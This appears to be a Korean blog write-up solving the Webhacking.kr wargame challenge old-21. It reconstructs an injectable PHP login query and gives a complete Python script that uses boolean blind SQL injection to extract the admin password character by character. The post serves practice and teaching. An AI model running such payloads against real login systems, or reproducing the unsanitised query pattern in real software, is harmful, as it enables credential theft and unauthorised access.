본문 바로가기
Hacking/WebHacking.kr

Webhacking.kr : old-21 (250 pt)

by newbie22 2021. 1. 27.

 

 

문제에 접속하면 다음과 같은 화면이 나타납니다.

< 문제 화면 >

-> BLIND SQL INJECTION 문제라고 합니다.

 

Response 기반인지 time 기반인지 우선 확인하였습니다.

 

< test 1 >

-> id/pw를 admin/admin으로 했을 때 login fail이라는 문구가 나타났습니다.

 

< test 2 >

-> id/pw를 admin'#/admin으로 했을 때 wrong password이라는 문구가 나타났습니다.

 

이를 통하여 로그인 과정이 다음과 같은 코드로 이루어져 있다고 판단할 수 있습니다.

$result = mysqli_query($db, "select pw from table_name where id = '{$_GET['id'}'")

if (mysqli_num_rows($result) == 0){
	echo "login fail";
} 
else{
	$login = mysqli_fetch_array($result);
    
    if($login["pw"] == $_GET['pw']){
    	echo "login success";
	}
    else{
    	echo "wrong password";
    }
}

 

따라서 admin의 pw를 획득하기 위해 필요한 and, 공백, if함수, length함수, substr함수, ascii함수를 확인하였지만 필터링되어 있지 않았습니다.

 

파이썬 코드는 다음과 같습니다.

더보기
import requests

#basic val
cookie = {"PHPSESSID": "쿠키 값"}
password = ""
length = 1

#get password length
while(1) :
    parameter = "?id=admin' and length(pw) = {}%23&pw=1".format(length)
    url = "https://webhacking.kr/challenge/bonus-1/index.php" + parameter

    res = requests.get(url=url, cookies=cookie, verify = False)        
        
    result = res.text.find("wrong password")
        
    length += 1
    
    if result != -1 :
        break
    
print('length :',length)

for i in range(1, length):
    check = 1
    for j in range(33,123):
        parameter = "?id=admin' and ascii(substr(pw,{},1)) = {}%23&pw=1".format(i, j)
        url = "https://webhacking.kr/challenge/bonus-1/index.php" + parameter
        
        res = requests.get(url=url, cookies=cookie, verify = False)        
        
        result = res.text.find("wrong password")
        
        if result != -1 :
            password = password + chr(j)
            check = 0
            break
    if check == 1:
        print("hmmm..... something wrong!!")
        break
print("admin password :", password)

 

 

 

끝~~

'Hacking > WebHacking.kr' 카테고리의 다른 글

Webhacking.kr : old-43 (250 pt)  (0) 2021.01.28
Webhacking.kr : old-41 (250 pt)  (0) 2021.01.27
Webhacking.kr : old-12 (250 pt)  (0) 2021.01.27
Webhacking.kr : old-10 (250 pt)  (0) 2021.01.27
Webhacking.kr : old-47 (150 pt)  (0) 2021.01.26